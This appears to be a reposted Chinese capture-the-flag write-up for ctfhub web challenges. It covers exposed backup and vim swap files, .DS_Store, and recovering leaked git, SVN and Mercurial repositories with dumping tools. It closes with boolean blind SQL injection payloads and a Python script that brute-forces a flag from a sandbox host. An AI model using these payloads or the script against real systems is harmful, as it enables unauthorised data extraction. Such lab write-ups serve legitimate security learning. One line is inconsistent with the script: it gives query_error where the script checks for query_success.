ctfhub学习与题解
Posted chalan630
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfhub学习与题解相关的知识,希望对你有一定的参考价值。
常用备份文件名:
www.zip
bak文件
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
以 index.php 为例:第一次产生的交换文件名为.index.php.swp
再次意外退出后,将会产生名为.index.php.swo
的交换文件
第三次产生的交换文件则为.index.php.swn
.DS_Store
是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store
可以知道这个目录里面所有文件的清单。
信息泄露
Log
这是一个源码泄露的例子,使用Fuzz扫描,发现存在git源码泄露,利用githack获取仓库信息。
git常用命令:
git log 查看历史记录
git reset 切换版本
git dirr 对比两次提交
使用git log 查看历史记录
解法一:
直接与 add flag (abafbe)
这次提交进行比对
解法二
直接切换到 add flag (abafbe)
这个版本
Stash
stash
命令可用于临时保存和回复修改
git stash list
所有保存的记录列表
git stash pop stash@{num}
恢复,
num
是可选项,通过git stash list
可查看具体值。只能恢复一次git stash apply stash@{num}
恢复,num
是可选项,通过git stash list
可查看具体值。可回复多次git stash drop stash@{num}
删除某个保存,num
是可选项,通过git stash list
可查看具体值git stash clear
删除所有保存
获得flag
SVN
扫描发现有 .svn/
目录,确认是 .svn
泄露。
使用svnExploit
发现一个可疑的txt文件,已经被删除,无法还原。
使用 dvcs-ripper
工具中的 rip-svn.pl
脚本进行 clone.
查找已经删除的文件,得到flag
HG
扫描发现有 .hg/
目录,确认是 .hg
泄露。使用 dvcs-ripper
工具中的 rip-hg.pl
脚本进行 clone.
发现直接执行 hg status 出错,工具 clone 的时候并没有 clone 完整。不要过分迷信工具。
解法一
查看.hg/store/fncache
可知 flag 的文件名为flag_88274161.txt
,直接访问即可得 flag
解法二
如果服务端删除了 flag 文件的话,那么可尝试从历史记录里寻找。路径是 .hg/store/data/flag__88274161.txt.i
注意下划线是两个
SQL注入
布尔盲注
查看页面:
尝试输入测试信息:
提示为布尔注入,构造相应payload:
?id=1 and ascii(substr((select database()),1,1))>108
发现不管是否返回数据,都会显示query_success
根据老哥们的提示,得到一个骚操作:
?id=if(ascii(substr((select flag from flag),1,1))=99,1,(select table_name from information_schema.tables))
如果判断正确则返回query_error;如果判断错误则构造错误查询语句,返回query_error
python脚本如下:
import requests
table = ""
list_1 = [element for element in range(48,58)]
list_2 = [element for element in range(97,126)]
list_0 = list_1 + list_2
session = requests.session()
url = "http://challenge-4f5472e95739be70.sandbox.ctfhub.com:10080/"
for i in range(1,50):
print(i)
for j in list_0:
payload = "if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))"%(i,j)
str_get = session.get(url=url + '?id=' + payload).text
if 'query_success' in str_get:
table += chr(j)
print(table)
break
以上是关于ctfhub学习与题解的主要内容,如果未能解决你的问题,请参考以下文章